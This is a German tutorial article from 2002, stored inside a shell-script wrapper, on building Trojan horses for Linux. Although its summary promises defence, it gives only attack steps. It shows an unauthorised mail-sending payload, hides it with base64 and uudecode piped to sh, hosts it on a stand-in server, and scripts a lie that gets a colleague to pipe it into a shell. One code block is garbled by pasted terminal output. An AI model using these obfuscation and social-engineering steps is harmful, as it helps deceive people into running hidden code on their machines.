Name="Trojanische Pferde"
Stich="Trojanisches_Pferd Pferd Troia Troja mimencode uuencode uudecode Virus"
Zeit="Don Apr 18 19:28:01 MEST 2002"
Kurz="Dieser Artikel erläutert die vielen Möglichkeiten Trojanischer
Pferde, und wie man sie abwehren kann."
Lang="
Der Name "Trojanisches Pferd" kommt von der Antike: Volk A belagert
Stadt B, kommt aber nicht hinein. Held C kommt auf die Idee, ein großes
mit eigenen Soldaten besetztes Holzpferd zu bauen und es B zu überlassen.
B f&auml;llt auf den Trick hinein und wird erobert.<br />
Heute wird ein Programm, welches vorgibt, ein Spiel oder sonstiges wichtiges
Programm zu sein, dem Computer schadet und/oder seinem Besitzer wertvolle Daten
liefert. In M$ Windows ist es im Allgemeinen nicht schwer, ein Programm wie
E-Mail zu verschicken, welches dann die Schadensfunktion(en) ausf&uuml;hrt (via
Outlook sogar automatisch). In Linux ist das was anderes: Bin&auml;rprogramme
laufen i.d.R. nur auf der Distribution, auf der sie kompiliert wurden. Und
Shellskripte sind zu einsichtig: Jeder Befehl, der ausgef&uuml;hrt wird, kann
(vor dem Start) eingesehen werden. Vorl&auml;ufiges Fazit: Trojanische Pferde
unter Linux sind unm&ouml;glich.<br />
Leider ist dieses &quot;unm&ouml;glich&quot; etwas &uuml;bertrieben: F&uuml;r
Newbies, das hei&szlig;t Linuxern, die sich noch nicht so viel Wissen besitzen,
ist es m&ouml;glich: Hier ist der Quellcode f&uuml;r ein Programm, welches
(ohne Erlaubnis des Benutzers) eine E-Mail verschickt:
`exCodes E-Mail unerlaubt versenden`
echo 'Hallo, Welt!' | mail -s .,-+= foo@bar.org
`exCodee`
Wenn man nun das Programm mit uuencode &quot;verschl&uuml;sselt&quot;,
erh&auml;lt man:
`exCodes Verschl\&uuml\;sselung`
Enter verification password: 
Today is Pungenday, the 35th day of Discord in the YOLD 3168.
P'tang!
     15 neue Mails:
Subject: Fwd: E-Kettenbriefe
Subject: E-Kettenbriefe
Subject: A
Subject: Bingo!
Subject: News
Anzahl Sekunden seit 1970: 1019151653
iblech@Hitachi:~/tLipps > cat Pfad/zum/Quelltext | uuencode -m - > /Pfad/zum/Er gebnis `exCodee`
Man erh&auml;lt zum Beispiel:
`exCodes Zwischenergebnis`
begin-base64 644 -
ZWNobyAiSGFsbG8sIFdlbHQiIHwgbWFpbCAtcyAuLC0rPSBmb29AYmFyLm9y
Zwo=
====
`exCodee`
Nun muss man nur noch zwei Zeilen hinzuf&uuml;gen, und dann zum Beispiel auf
einen Webserver stellen (im Beispiel AlphaCentauti.univer.sum):
`exCodes Endergebnis, abzuspeichern in http://AlphaCentauri.univer.sum/troia`
cat <<TROIA | uudecode | sh -
begin-base64 644 -
ZWNobyAiSGFsbG8sIFdlbHQiIHwgbWFpbCAtcyAuLC0rPSBmb29AYmFyLm9y
Zwo=
====
TROIA
`exCodee`
Dann muss man nur noch dem lieben Kollegen sagen...
&quot;Ich habe ein witziges Programm im Internet entdeckt. Wenn du es
ausf&uuml;hren willst, musst du nur 'lynx -dump
http://AlphaCentauri.univer.sum/troia | sh -' eingeben!&quot;
<br />
Viel Spa&szlig; beim mimencoden...
"
case $1 in
  Name) echo $Name; exit;;
  Stich) echo $Stich; exit;;
  Zeit) echo $Zeit; exit;;
  Kurz) echo $Kurz; exit;;
  Lang) echo $Lang; exit;;
esac
# if [ "$1" = "Name" ]; then echo $Name; fi
mself_vA="txt/0082.txt txt/0089.txt"